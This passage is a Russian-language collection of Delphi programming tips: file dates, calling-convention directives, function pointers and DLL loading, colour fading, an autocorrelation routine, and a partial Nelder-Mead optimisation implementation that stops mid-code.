Статьи по Delphi (008)…
Общая техника использования функций и процедур – получить дату создания файла.
Автор: Bramus Когда я только начал программировать я сталкнулся с огромной проблемой (для меня), в советах из разных источников находил нужные функции и процедуры которые не знал как выполнить, например, по нажатию кнопки. Далее привожу примеры. Надеюсь они будут небесполезны начинающим программистам.Эта функция при нажатии на Button1 выводит информацию о файле.
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls;
type
TForm1 = class(TForm)
Button1: TButton;
Label1: TLabel;
procedure Button1Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
function GetFileDate(TheFileName: string): string; // эта строка необязательна
var
Form1: TForm1;
implementation
{$R *.dfm}
function GetFileDate(TheFileName: string): string;
var
FHandle: integer;
begin
FHandle := FileOpen(TheFileName, 0);
result := DateTimeToStr(FileDateToDateTime(FileGetDate(FHandle)));
FileClose(FHandle);
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
label1.Caption := GetFileDate('C:\borland.exe');
end;
end.
также пользоваться и procedure
Этот пример функции я привел только для того чтобы посмотреть общую технику выполнения. Вы можете использовать что угодно.
Заголовок и стандартные директивы.
Заголовок процедуры имеет вид:
PROCEDURE [()];
Заголовок функции:
FUNCTION [()]: ;Здесь - имя подпрограммы (правильный идентификатор); - список формальных параметров; - тип возвращаемого функцией результата.
Сразу за заголовком подпрограммы может следовать одна из стандартных директив assembler, external, far, forward, inline, interrupt, near. Эти директивы уточняют действия компилятора и распространяются на всю подпрограмму и только на нее, т. е., если за подпрограммой следует другая подпрограмма, стандартная директива, указанная за заголовком первой, не распространяется на вторую.
assembler - эта директива отменяет стандартную последовательность машинных инструкций, вырабатываемых при входе в процедуру и перед выходом из нее. Тело подпрограммы в этом случае должно реализоваться с помощью команд встроенного Ассемблера. external - с помощью этой директивы объявляется внешняя подпрограмма. far - компилятор должен создавать код подпрограммы, рассчитанный на дальнюю модель вызова. Директива near заставит компилятор создать код, рассчитанный на ближнюю модель памяти. Введены для совместимости с Delphi 1, которая использовала сегментную модель памяти. forward - используется при опережающем описании (см. п. 8.6) для сообщения компилятору, что описание подпрограммы следует где-то дальше по тексту программы (но в пределах текущего прораммного модуля). inline - указывает на то, что тело подпрограммы реализуется с помощью встроенных машинных инструкций. interrupt - используется при создании процедур обработки прерываний. Помимо описанных в Object Pascal можно использовать также стандартные директивы, регламентирующие способ передачи параметров через стек и использование регистров для их передачи - такие директивы используются при работе с ядром Windows. Они перечислены в приводимой ниже таблице. Графа порядок определяет порядок размещения параметров в стеке: слева направо означает размещение в стеке по порядку описания - сначала первый параметр, затем второй и т. д.; справа налево означает размещение с конца перечисления параметров - сначала последний, затем предпоследний и т. д. Графа Очистка определяет, кто будет очищать стек: подпрограмма перед передачей управления в вызывающую программу или программа после получения управления. Графа регистры содержит да, если для передачи параметров помимо стека используются также регистры центрального процессора.Таблица 8.1. Стандартные директивы, регламентирующие способ передачи параметров через стек и использование регистров для их передачи.
Директива Порядок Очистка Регистры safecall Справа налево Подпрограмма Нет Stdcall Справа налево Подпрограмма Нет Cdecl Справа налево Программа Нет Pascal Слева направо Подпрограмма Нет Register Слева направо Подпрограмма Да
Примечание
Все фуйкции API ядра Wmdows;скомпилированы .в режиме stidcall, а те, что доддерживают технологию СОМ - в режиме sаfеса11.Передача функции как параметра.
В нашем случае лучшим решением будет использование процедурного типа. Допустим, что DllFunction() на входе хочет получить определенную функцию, поясним это на примере кода:
type TMyFuncType = function: integer; var MyFunc: TMyFuncType; function foo: integer; begin result := 1; end; begin MyFunc := foo; DllFunction(longint(MyFunc)); |
Вы можете это сделать и так:
DllFunction( longint( @foo )) ; |
Также, в зависимости от того, как написана DllFunction(), вы можете в вызове подразумевать приведение типа:
function DllFunction( p: TMyFuncType ): Integer; far; external 'mydll'; |
В Delphi/Pascal вы можете передавать функции как параметры. Тем не менее, чтобы этим воспользоваться, необходимо для компилятора установить тип. Попробуйте следующий код (я реально его компилил и тестировал):
unit Unit1;
interface
uses
SysUtils, WinTypes, WinProcs, Messages, Classes, Graphics, Controls,
Forms, Dialogs, StdCtrls;
type
TForm1 = class(TForm)
Button1: TButton;
Button2: TButton;
procedure Button1Click(Sender: TObject);
procedure Button2Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.DFM}
type
IntFunc = function: integer;
function DllFunction(iFunc: IntFunc): integer; far;
begin
DllFunction := iFunc; {Обратите внимание на то, что это вызов функции}
end;
function iFoo: integer; far;
begin
iFoo := 1;
end;
procedure TestIFunc;
var
i: integer;
begin
i := DllFunction(iFoo);
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
TestIFunc;
end;
procedure TForm1.Button2Click(Sender: TObject);
begin
Close;
end;
end.
|
Вы можете сделать две вещи. Во-первых, если вы хотите использовать для передачи longint, напишите следующий код:
i := longint(@foo) |
Другая вещь, которую вы можете сделать - исключить работу с longint и вызывать функцию dll следующим образом:
DLLfunction (@foo); |
Имейте в виду, что если вы собираетесь вызывать foo из DLL, то необходимо предусмотреть вопросы совместимости, для получения дополнительной информации почитайте описание функции MakeProcInstance.
Функция для работы с палитрами и RGB.
У меня трудности с пониманием операций, производимых в Delphi над палитрой. По существу, я имею 4 открытых формы, которые должны использовать цвета, которые не входят в стандрартный набор из 20 именованных цветов. Ячейки таблицы также должны использовать мои нестандартные цвета. Есть какой-либо способ обновления системной палитры для того, чтобы все формы использовали один и тот же цвет?При работе с палитрами рекомендуется пользоваться функцией RGB. Если вы используете ее для изменения свойства "Color", Windows довольно хорошо справляется с задачай подбора цветов для низкого разрешения, а в системах с высоким разрешением вы получите точный цвет RGB. Это могло бы послужить выходом из создавшейся у вас ситуации. Вот пример формы, которая "линяет" от красного до синего:
procedure TForm1.FormClick(Sender: TObject);
var
blue: Byte;
begin
For blue := 0 to 255 do
Begin
Color := RGB(255-blue,0,blue);
Update;
End;
end;
|
Указатель на функцию.
Это то, что я нашел при создании простой машины состояний:Ниже приведен простой пример для Borland Delphi, использующий указатели функций для управления программным потоком. Просто создайте простую форму с единственной кнопкой и скопируйте код из Unit1 во вновь созданный модуль. Добавьте к проекту Unit2 и скомпилируйте проект. Дайте мне знать, если у вас возникнут какие-либо проблемы.
interface
uses
SysUtils, WinTypes, WinProcs, Messages, Classes, Graphics, Controls,
Forms, Dialogs, StdCtrls;
type
TForm1 = class(TForm)
Button1: TButton;
procedure Button1Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
CurrProc: LongInt;
MyVal: LongInt;
implementation
uses Unit2;
{$R *.DFM}
procedure TForm1.Button1Click(Sender: TObject);
var
NewProc: LongInt;
MyString: string;
begin
CurrProc := 2; { начальная точка в таблице методов }
MyVal := 0; { вспомогательная переменная }
NewProc := 0;
{ возвращаемое значение для следующего индекса в таблице методов }
while CurrProc < 6 do
begin
{ выполняем текущий индекс в таблице методов и получаем следующую процедуру }
NewProc := ProcTable[CurrProc](MyVal);
{ просто показываем значения NewProc и CurrProc }
FmtStr(MyString, 'NewProc [%d] CurrProc [%d]', [NewProc, CurrProc]);
MessageDlg(MyString, mtInformation, [mbOK], 0);
{ присваиваем текущую процедуру возвращаемой процедуре }
CurrProc := NewProc;
end;
end;
end.
|
{ Это простой пример, определяющий массив указателей на функции }
interface
type
{ определяем Procs как функцию }
Procs = function(var ProcNum: LongInt): LongInt;
var
{ объявляем массив указателей на функции }
ProcTable: array[1..5] of Procs;
{ определения интерфейсов функций }
function Proc1(var MyVal: LongInt): LongInt; far;
function Proc2(var MyVal: LongInt): LongInt; far;
function Proc3(var MyVal: LongInt): LongInt; far;
function Proc4(var MyVal: LongInt): LongInt; far;
function Proc5(var MyVal: LongInt): LongInt; far;
implementation
uses Dialogs;
function Proc1(var MyVal: LongInt): LongInt;
begin
MessageDlg('Процедура 1', mtInformation, [mbOK], 0);
Proc1 := 6;
end;
function Proc2(var MyVal: LongInt): LongInt;
begin
MessageDlg('Процедура 2', mtInformation, [mbOK], 0);
Proc2 := 3;
end;
function Proc3(var MyVal: LongInt): LongInt;
begin
MessageDlg('Процедура 3', mtInformation, [mbOK], 0);
Proc3 := 4;
end;
function Proc4(var MyVal: LongInt): LongInt;
begin
MessageDlg('Процедура 4', mtInformation, [mbOK], 0);
Proc4 := 5;
end;
function Proc5(var MyVal: LongInt): LongInt;
begin
MessageDlg('Процедура 5', mtInformation, [mbOK], 0);
Proc5 := 1;
end;
initialization
{ инициализируем содержание массива указателей на функции }
@ProcTable[1] := @Proc1;
@ProcTable[2] := @Proc2;
@ProcTable[3] := @Proc3;
@ProcTable[4] := @Proc4;
@ProcTable[5] := @Proc5;
end.
|
Пример: (Здесь может встретиться пара синтаксических ошибок - я не компилил это).
type
TBaseForm = class(TForm)
public
procedure Method1; virtual; abstract;
end;
type
TDerivedForm1 = class(TBaseForm)
public
procedure Method1; override;
end;
TDerivedForm2 = class(TBaseForm)
public
procedure Method1; override;
end;
procedure TDerivedForm1.Method1;
begin
....
end;
procedure TDerivedForm2.Method1;
begin
....
end;
{Для вызова функции из вашего toolbar,
получите активную в настоящий момент форму и вызовите Method1}
procedure OnButtonClick;
var
AForm: TBaseForm;
begin
AForm := ActiveForm as TBaseForm;
AForm.Method1;
end;
|
Указатель на функцию 2.
Что лично я использую, чтобы вызвать какую-то функцию из DLL: Объявите тип:
type TYourDLLFunc = function(Parm1: TParm1; Parm2: TParm2): TParm3; |
var YourDllFunc: TYourDLLFunc; |
DLLHandle := LoadLibrary('YourDLL.DLL');
|
@YourDLLFunc := GetProcAddress(DLLHandle, 'YourDLLFuncName'); |
Parm3 := YourDLLFunc(Parm1, Parm2); |
Вычисление автокорреляционной функции.
Автор: Lookin WEB-сайт: http://delphibase.endimus.com
{ **** UBPFD *********** by delphibase.endimus.com ****
>> Вычисление автокорреляционной функции
Зависимости: Math
Автор: lookin, lookin@mail.ru, Екатеринбург
Copyright: lookin
Дата: 2 июня 2002 г.
***************************************************** }
//TDoubleArray = array of double
procedure AutoCorrelation(ValueArray: TDoubleArray; var ACArray: TDoubleArray;
FromValue, ToValue: integer);
var
i, j, N: integer;
avr, dev, xxsum: double;
begin
//ValueArray - массив типа double для которого вычисляется функция
//FromValue - номер точки, начиная с которого выбираются элементы массива
//ToValue - номер точки, на котором заканчивается выбор элементов массива
//ACArray - массив возвращаемых значений автокорреляционной функции
//для 5-и точек
N := ToValue - FromValue;
SetLength(ACArray, 5);
if N < 5 then
begin
for i := 0 to 4 do
ACArray[i] := 0;
Exit;
end
else
begin
SetLength(rv, N);
dev := 0;
for i := 0 to N - 1 do
rv[i] := ValueArray[i + FromValue];
avr := Mean(rv);
for i := 0 to N - 1 do
dev := dev + Sqr(rv[i] - avr);
dev := dev / N;
for j := 0 to 4 do
begin
xxsum := 0;
for i := 0 to (N - 1) - j do
xxsum := xxsum + (rv[i] - avr) * (rv[i + j] - avr);
ACArray[j] := xxsum / (dev * (N - j));
end;
end;
end;
Пример использования:
var
SourceArray, ACCoefs: TDoubleArray;
begin
AutoCorrelation(SourceArray, ARCoefs, 0, Length(SourceArray) - 1);
for i := 0 to Length(ACCoefs) - 1 do
showmessage(FloatToStr(ACCoefs[i]));
Оптимизация функции методом деформируемого многогранника (Метод Нелдера-Мида).
Автор: Mystic WEB-сайт: http://delphibase.endimus.com
{ **** UBPFD *********** by delphibase.endimus.com ****
>> Оптимизация функции методом деформируемого многогранника (Метод Нелдера-Мида)
Передаваемая структура:
TNelderOption = record
Size: Cardinal; // Размер структуры (обязательно)
Flags: Cardinal; // Флаги (обязательно)
Func: TMathFunction; // Функция (обязательно)
N: Integer; // Размерность (обязательно)
X0: PExtended; // Указатель на начальную точку (обязательно)
X: PExtended; // Указатель куда записывать результат (обязательно)
Eps: Extended; // Точность (опция FIND_MIN_USE_EPS)
Delta: Extended; // Способ проверки (опция FIND_MIN_USE_DELTA)
R: Extended; // Расстояние между вершинами симплекса (опция FIND_MIN_USE_R)
Mode: Integer; // Метод решения (опция FIND_MIN_USE_MODE)
Alpha: Extended; // Коэффициент отражения (опция FIND_MIN_USE_ALPHA)
Beta: Extended; // Коэффициент сжатия (опция FIND_MIN_USE_BETA)
Gamma: Extended; // Коэффициент растяжения (опция FIND_MIN_USE_GAMMA)
end;
Возвращаемое значение - 0 если хорошо, иначе ошибка
Зависимости: Windows
Автор: Mystic, mystic2000@newmail.ru, ICQ:125905046, Харьков
Copyright: Mystic (посвящается Оксане в память о ее дипломе)
Дата: 25 апреля 2002 г.
***************************************************** }
const
CONST_1_DIV_SQRT_2 = 0.70710678118654752440084436210485;
FIND_MIN_OK = 0;
FIND_MIN_INVALID_OPTION = 1;
FIND_MIN_INVALID_FUNC = 2;
FIND_MIN_INVALID_N = 3;
FIND_MIN_INVALID_X0 = 4;
FIND_MIN_INVALID_X = 5;
FIND_MIN_INVALID_EPS = 6;
FIND_MIN_INVALID_DELTA = 7;
FIND_MIN_INVALID_R = 8;
FIND_MIN_MODE_NOT_SUPPORT = 9;
FIND_MIN_OUT_OF_MEMORY = 10;
FIND_MIN_INVALID_ALPHA = 11;
FIND_MIN_INVALID_BETA = 12;
FIND_MIN_INVALID_GAMMA = 13;
FIND_MIN_MODE_STD = 0;
FIND_MIN_MODE_1 = 1;
FIND_MIN_MODE_2 = 2;
FIND_MIN_USE_EPS = $00000001;
FIND_MIN_USE_R = $00000002;
FIND_MIN_USE_MODE = $00000004;
FIND_MIN_USE_DELTA = $00000008;
FIND_MIN_USE_ALPHA = $00000010;
FIND_MIN_USE_BETA = $00000020;
FIND_MIN_USE_GAMMA = $00000040;
// Некоторые комбинации стандартных опций:
FIND_MIN_USE_EPS_R = FIND_MIN_USE_EPS or FIND_MIN_USE_R;
FIND_MIN_USE_EPS_R_MODE = FIND_MIN_USE_EPS_R or FIND_MIN_USE_MODE;
FIND_MIN_USE_EPS_R_DELTA = FIND_MIN_USE_EPS_R or FIND_MIN_USE_DELTA;
FIND_MIN_USE_EPS_R_MODE_DELTA = FIND_MIN_USE_EPS_R_MODE or FIND_MIN_USE_DELTA;
FIND_MIN_USE_ALL = FIND_MIN_USE_EPS or FIND_MIN_USE_R or FIND_MIN_USE_MODE or
FIND_MIN_USE_DELTA or FIND_MIN_USE_ALPHA or
FIND_MIN_USE_BETA or FIND_MIN_USE_GAMMA;
type
PMathFunction = ^TMathFunction;
TMathFunction = function(X: PExtended): Extended;
PNelderOption = ^TNelderOption;
TNelderOption = record
Size: Cardinal; // Размер структуры (обязательно)
Flags: Cardinal; // Флаги (обязательно)
Func: TMathFunction; // Функция (обязательно)
N: Integer; // Размерность (обязательно)
X0: PExtended; // Указатель на начальную точку (обязательно)
X: PExtended; // Указатель куда записывать результат (обязательно)
Eps: Extended; // Точность (опция FIND_MIN_USE_EPS)
Delta: Extended; // Способ проверки (опция FIND_MIN_USE_DELTA)
R: Extended; // Расстояние между вершинами симплекса (опция FIND_MIN_USE_R)
Mode: Integer; // Метод решения (опция FIND_MIN_USE_MODE)
Alpha: Extended; // Коэффициент отражения (опция FIND_MIN_USE_ALPHA)
Beta: Extended; // Коэффициент сжатия (опция FIND_MIN_USE_BETA)
Gamma: Extended; // Коэффициент растяжения (опция FIND_MIN_USE_GAMMA)
end;
{**********
Проверка указателя Option на то, что все его параметры доступны для чтения
**********}
function CheckNelderOptionPtr(Option: PNelderOption): Integer;
begin
// Проверка указателя #1 (допустимость указателя)
if IsBadReadPtr(@Option, 4) then
begin
Result := FIND_MIN_INVALID_OPTION;
Exit;
end;
// Проверка указателя #2 (слишком мало параметров)
if Option.Size < 24 then
begin
Result := FIND_MIN_INVALID_OPTION;
Exit;
end;
// Проверка указателя #3 (все данные можно читать?)
if IsBadReadPtr(@Option, Option.Size) then
begin
Result := FIND_MIN_INVALID_OPTION;
Exit;
end;
Result := FIND_MIN_OK;
end;
{************
Копирование данных из одной структуры в другую с попутной проверкой
на допустимость значений всех параметров.
************}
function CopyData(const InOption: TNelderOption; var OutOption: TNelderOption):
Integer;
var
CopyCount: Cardinal;
begin
Result := FIND_MIN_OK;
// Копируем одну структуру в другую
CopyCount := SizeOf(TNelderOption);
if InOption.Size < CopyCount then
CopyCount := InOption.Size;
Move(InOption, OutOption, CopyCount);
// Устанавливаем размер
OutOption.Size := SizeOf(TNelderOption);
// Проверка Option.Func
if IsBadCodePtr(@OutOption.Func) then
begin
Result := FIND_MIN_INVALID_FUNC;
Exit;
end;
// Проверка Option.N
if OutOption.N <= 0 then
begin
Result := FIND_MIN_INVALID_N;
Exit;
end;
// Проверка Option.X0
if IsBadReadPtr(OutOption.X0, OutOption.N * SizeOf(Extended)) then
begin
Result := FIND_MIN_INVALID_X0;
Exit;
end;
// Проверка Option.X
if IsBadWritePtr(OutOption.X, OutOption.N * SizeOf(Extended)) then
begin
Result := FIND_MIN_INVALID_X;
Exit;
end;
// Проверка Option.Eps
if (FIND_MIN_USE_EPS and OutOption.Flags) <> 0 then
begin
if OutOption.Size < 34 then // Eps не вписывается в размер
begin
Result := FIND_MIN_INVALID_OPTION;
Exit;
end
else if OutOption.Eps <= 0 then
begin
Result := FIND_MIN_INVALID_EPS;
Exit;
end;
end
else
begin
OutOption.Eps := 1E-06; // Default value;
end;
// Проверка OutOption.Delta
if (FIND_MIN_USE_DELTA and OutOption.Flags) <> 0 then
begin
if OutOption.Size < 44 then
begin
Result := FIND_MIN_INVALID_OPTION;
Exit;
end
else if (OutOption.Delta < 0.0) or (OutOption.Delta > 1.0) then
begin
Result := FIND_MIN_INVALID_DELTA;
Exit;
end;
end
else
begin
OutOption.Delta := 0.5; // Default value
end;
// Проверка OutOption.R
if (FIND_MIN_USE_R and OutOption.Flags) <> 0 then
begin
if OutOption.Size < 54 then
begin
Result := FIND_MIN_INVALID_OPTION;
Exit;
end
else if (OutOption.R <= 0.0) then
begin
Result := FIND_MIN_INVALID_R;
Exit;
end;
end
else
begin
OutOption.R := 100.0; // Default value
end;
// Проверка OutOption.Mode
if (FIND_MIN_USE_MODE and OutOption.Flags) <> 0 then
begin
if OutOption.Size < 58 then
begin
Result := FIND_MIN_INVALID_OPTION;
Exit;
end
else if (OutOption.Mode <> FIND_MIN_MODE_STD) then
if (OutOption.Mode <> FIND_MIN_MODE_1) then
if (OutOption.Mode <> FIND_MIN_MODE_2) then
begin
Result := FIND_MIN_MODE_NOT_SUPPORT;
Exit;
end;
end
else
begin
OutOption.Mode := FIND_MIN_MODE_STD; // Default value
end;
// Проверка OutOption.Alpha
if (FIND_MIN_USE_ALPHA and OutOption.Flags) <> 0 then
begin
if OutOption.Size < 68 then
begin
Result := FIND_MIN_INVALID_OPTION;
Exit;
end
else if OutOption.Alpha < 0.0 then
begin
Result := FIND_MIN_INVALID_ALPHA;
Exit;
end;
end
else
begin
OutOption.Alpha := 1.0; // Default value
end;
// Проверка OutOption.Beta
if (FIND_MIN_USE_BETA and OutOption.Flags) <> 0 then
begin
if OutOption.Size < 78 then
begin
Result := FIND_MIN_INVALID_OPTION;
Exit;
end
else if (OutOption.Beta < 0.0) or (OutOption.Beta > 1.0) then
begin
Result := FIND_MIN_INVALID_BETA;
Exit;
end;
end
else
begin
OutOption.Beta := 0.5; // Default value
end;
// Проверка OutOption.Gamma
if (FIND_MIN_USE_GAMMA and OutOption.Flags) <> 0 then
begin
if OutOption.Size < 88 then
begin
Result := FIND_MIN_INVALID_OPTION;
Exit;
end
else if OutOption.Gamma < 1.0 then
begin
Result := FIND_MIN_INVALID_GAMMA;
Exit;
end;
end
else
begin
OutOption.Gamma := 1.5; // Default value
end;
end;
type
TNelderTempData = record
D1: Extended;
D2: Extended;
FC: Extended;
FU: Extended;
XN: PExtended;
D0: PExtended;
FX: PExtended;
C: PExtended;
U: PExtended;
V: PEXtended;
Indexes: PInteger;
end;
function InitializeTempData(var TempData: TNelderTempData; N: Integer): Integer;
var
SizeD0: Integer;
SizeFX: Integer;
SizeC: Integer;
SizeU: Integer;
SizeV: Integer;
SizeIndexes: Integer;
SizeAll: Integer;
Ptr: PChar;
begin
// Вычисляем размеры
SizeD0 := N * (N + 1) * SizeOf(Extended);
SizeFX := (N + 1) * SizeOf(Extended);
SizeC := N * SizeOf(Extended);
SizeU := N * SizeOf(Extended);
SizeV := N * SizeOf(Extended);
SizeIndexes := (N + 1) * SizeOf(Integer);
SizeAll := SizeD0 + SizeFX + SizeC + SizeU + SizeV + SizeIndexes;
Ptr := SysGetMem(SizeAll);
if not Assigned(Ptr) then
begin
Result := FIND_MIN_OUT_OF_MEMORY;
Exit;
end;
TempData.D0 := PExtended(Ptr);
Ptr := Ptr + SizeD0;
TempData.FX := PExtended(Ptr);
Ptr := Ptr + SizeFX;
TempData.C := PExtended(Ptr);
Ptr := Ptr + SizeC;
TempData.U := PExtended(Ptr);
Ptr := Ptr + SizeU;
TempData.V := PExtended(Ptr);
Ptr := Ptr + SizeV;
TempData.Indexes := PInteger(Ptr);
// Ptr := Ptr + SizeIndexes
Result := FIND_MIN_OK;
end;
procedure FinalizeTempData(var TempData: TNelderTempData);
var
Ptr: Pointer;
begin
Ptr := TempData.D0;
TempData.D0 := nil;
TempData.FX := nil;
TempData.C := nil;
TempData.U := nil;
TempData.V := nil;
TempData.Indexes := nil;
SysFreeMem(Ptr);
end;
{*********
Строится симплекс:
В целях оптимизации поменяем местами строки и столбцы
**********}
procedure BuildSimplex(var Temp: TNelderTempData; const Option: TNelderOption);
var
I, J: Integer;
PtrD0: PExtended;
begin
with Temp, Option do
begin
D1 := CONST_1_DIV_SQRT_2 * R * (Sqrt(N + 1) + N - 1) / N;
D2 := CONST_1_DIV_SQRT_2 * R * (Sqrt(N + 1) - 1) / N;
FillChar(D0^, N * SizeOf(Extended), 0);
PtrD0 := D0;
PChar(PtrD0) := PChar(PtrD0) + N * SizeOf(Extended);
for I := 0 to N - 1 do
for J := 0 to N - 1 do
begin
if I = J then
PtrD0^ := D1
else
PtrD0^ := D2;
PChar(PtrD0) := PChar(PtrD0) + SizeOf(Extended);
end;
end;
end;
{*********
Перемещение симплекса в точку A
*********}
procedure MoveSimplex(var Temp: TNelderTempData; const Option: TNelderOption; A:
PExtended);
var
I, J: Integer;
PtrA, PtrD0: PExtended;
begin
with Temp, Option do
begin
PtrD0 := D0;
for I := 0 to N do
begin
PtrA := A;
for J := 0 to N - 1 do
begin
PtrD0^ := PtrD0^ + PtrA^;
PChar(PtrD0) := PChar(PtrD0) + SizeOf(Extended);
PChar(PtrA) := PChar(PtrA) + SizeOf(Extended);
end;
end;
end;
end;
// Быстрая сортировка значений FX
procedure QuickSortFX(L, R: Integer; FX: PExtended; Indexes: PInteger);
var
I, J, K: Integer;
P, T: Extended;
begin
repeat
I := L;
J := R;
// P := FX[(L+R) shr 1] :
P := PExtended(PChar(FX) + SizeOf(Extended) * ((L + R) shr 1))^;
repeat
// while FX[I] < P do Inc(I):
while PExtended(PChar(FX) + SizeOf(Extended) * I)^ < P do
Inc(I);
// while FX[J] > P do Dec(J):
while PExtended(PChar(FX) + SizeOf(Extended) * J)^ > P do
Dec(J);
if I <= J then
begin
// Переставляем местами значения FX
T := PExtended(PChar(FX) + SizeOf(Extended) * I)^;
PExtended(PChar(FX) + SizeOf(Extended) * I)^ := PExtended(PChar(FX) +
SizeOf(Extended) * J)^;
PExtended(PChar(FX) + SizeOf(Extended) * J)^ := T;
// Поддерживаем порядок и в индексах
K := PInteger(PChar(Indexes) + SizeOf(Integer) * I)^;
PInteger(PChar(Indexes) + SizeOf(Integer) * I)^ :=
PInteger(PChar(Indexes) + SizeOf(Integer) * J)^;
PInteger(PChar(Indexes) + SizeOf(Integer) * J)^ := K;
Inc(I);
Dec(J);
end;
until I > J;
if L < J then
QuickSortFX(L, J, FX, Indexes);
L := I;
until I >= R;
end;
procedure CalcFX(var Temp: TNelderTempData; Option: TNelderOption);
var
I: Integer;
PtrD0, PtrFX: PExtended;
begin
with Temp, Option do
begin
// Вычисление значений функции
PtrD0 := D0;
PtrFX := FX;
for I := 0 to N do
begin
PtrFX^ := Func(PtrD0);
PChar(PtrD0) := PChar(PtrD0) + N * SizeOf(Extended);
PChar(PtrFX) := PChar(PtrFX) + SizeOf(Extended);
end;
end;
end;
// Освежаем и сортируем FX + освежаем индексы
procedure RefreshFX(var Temp: TNelderTempData; Option: TNelderOption);
var
I: Integer;
PtrIndexes: PInteger;
begin
with Temp, Option do
begin
// Заполение индексов
PtrIndexes := Indexes;
for I := 0 to N do
begin
PtrIndexes^ := I;
PChar(PtrIndexes) := PChar(PtrIndexes) + SizeOf(Integer);
end;
// Сортировка
QuickSortFX(0, N, FX, Indexes);
// Возвращаемое значение: Result := D0 + SizeOf(Extended) * Indexes[N]
PChar(PtrIndexes) := PChar(PtrIndexes) - SizeOf(Integer);
XN := PExtended(PChar(D0) + N * SizeOf(Extended) * PtrIndexes^);
end;
end;
procedure CalcC(var Temp: TNelderTempData; const Option: TNelderOption);
var
PtrC, PtrD0: PExtended;
I, J: Integer;
begin
with Temp, Option do
begin
PtrD0 := D0;
// C := 0;
FillChar(C^, N * SizeOf(Extended), 0);
// C := Sum (Xn)
for I := 0 to N do
if PtrD0 <> XN then
begin
PtrC := C;
for J := 0 to N - 1 do
begin
PtrC^ := PtrC^ + PtrD0^;
PChar(PtrC) := PChar(PtrC) + SizeOf(Extended);
PChar(PtrD0) := PChar(PtrD0) + SizeOf(Extended);
end;
end
else
begin
// Пропускаем вектор из D0:
PChar(PtrD0) := PChar(PtrD0) + N * SizeOf(Extended);
end;
// C := C / N
PtrC := C;
for J := 0 to N - 1 do
begin
PtrC^ := PtrC^ / N;
PChar(PtrC) := PChar(PtrC) + SizeOf(Extended);
end;
end;
end;
procedure ReflectPoint(var Temp: TNelderTempData; const Option: TNelderOption;
P: PExtended; Factor: Extended);
var
PtrC, PtrXN: PExtended;
I: Integer;
begin
with Temp, Option do
begin
PtrXN := XN;
PtrC := C;
for I := 0 to N - 1 do
begin
P^ := PtrC^ + Factor * (PtrC^ - PtrXN^);
PChar(P) := PChar(P) + SizeOf(Extended);
PChar(PtrC) := PChar(PtrC) + SizeOf(Extended);
PChar(PtrXN) := PChar(PtrXN) + SizeOf(Extended);
end;
end;
end;
const
SITUATION_EXPANSION = 0;
SITUATION_REFLECTION = 1;
SITUATION_COMPRESSION = 2;
SITUATION_REDUCTION = 3;
function DetectSituation(var Temp: TNelderTempData; const Option:
TNelderOption): Integer;
//FX, U: PExtended; Func: PMathFunction; N: Integer; FU: Extended): Integer;
var
PtrFX: PEXtended;
begin
with Temp, Option do
begin
FU := Func(Temp.U);
if FU < FX^ then
Result := SITUATION_EXPANSION
else
begin
PtrFX := PExtended(PChar(FX) + (N - 1) * SizeOf(Extended));
if FU < PtrFX^ then
Result := SITUATION_REFLECTION
else
begin
PChar(PtrFX) := PChar(PtrFX) + SizeOf(Extended);
if FU < PtrFX^ then
Result := SITUATION_COMPRESSION
else
Result := SITUATION_REDUCTION;
end;
end;
end;
end;
procedure Expansion(var Temp: TNelderTempData; const Option: TNelderOption);
var
FV: EXtended;
LastIndex: Integer;
TempPtr: PChar;
begin
with Temp, Option do
begin
ReflectPoint(Temp, Option, V, Gamma);
FV := Func(Temp.V);
// Коррекция FX
Move(FX^, (PChar(FX) + SizeOf(Extended))^, N * SizeOf(Extended));
// Заносим на первое место
if FV < FU then
begin
FX^ := FV;
Move(V^, XN^, N * SizeOf(EXtended));
end
else
begin
FX^ := FU;
Move(U^, XN^, N * SizeOf(Extended));
end;
// Коррекция Indexes
TempPtr := PChar(Indexes) + N * SizeOf(Integer);
LastIndex := PInteger(TempPtr)^;
Move(Indexes^, (PChar(Indexes) + SizeOf(Integer))^, N * SizeOf(Integer));
Indexes^ := LastIndex;
// Коррекция XN
PChar(XN) := PChar(D0) + PInteger(TempPtr)^ * N * SizeOf(EXtended);
end;
end;
// Рекурсивный бинарный поиск точки, где будет произведена вставка
// Интересно переделать в итерацию !!! (так оптимальней)
function RecurseFind(FX: PExtended; Value: Extended; L, R: Integer): Integer;
var
M: Integer;
Temp: Extended;
begin
if R < L then
begin
Result := L; // Result := -1 если поиск точный
Exit;
end;
M := (L + R) div 2;
Temp := PExtended(PChar(FX) + M * SizeOf(Extended))^;
if Temp = Value then
begin
Result := M;
Exit;
end;
if Temp > Value then
Result := RecurseFind(FX, Value, L, M - 1)
else
Result := RecurseFind(FX, Value, M + 1, R)
end;
procedure Reflection(var Temp: TNelderTempData; const Option: TNelderOption);
var
InsertN: Integer;
ShiftPosition: PChar;
//IndexesPtr: PInteger;
//FV: Extended;
//I: Integer;
TempIndex: Integer;
TempPtr: PChar;
begin
with Temp, Option do
begin
// Определения позиции вставки
InsertN := RecurseFind(FX, FU, 0, N);
// Сдвижка FX
ShiftPosition := PChar(FX) + InsertN * SizeOf(Extended);
Move(ShiftPosition^, (ShiftPosition + SizeOf(Extended))^,
(N - InsertN) * SizeOf(Extended));
PExtended(ShiftPosition)^ := FU;
// Коррекция D0
Move(U^, XN^, N * SizeOf(EXtended));
// Коррекция Indexes
TempPtr := PChar(Indexes) + N * SizeOf(Integer);
TempIndex := PInteger(TempPtr)^;
ShiftPosition := PChar(Indexes) + InsertN * SizeOf(Integer);
Move(ShiftPosition^, (ShiftPosition + SizeOf(Integer))^,
(N - InsertN) * SizeOf(Integer));
PInteger(ShiftPosition)^ := TempIndex;
// Коррекция XN
PChar(XN) := PChar(D0) + N * PInteger(TempPtr)^ * SizeOf(EXtended);
end;
end;
procedure Compression(var Temp: TNelderTempData; const Option: TNelderOption);
begin
with Temp, Option do
begin
// Вычисление новой точки
ReflectPoint(Temp, Option, U, Beta);
FU := Func(U);
Reflection(Temp, Option);
end;
end;
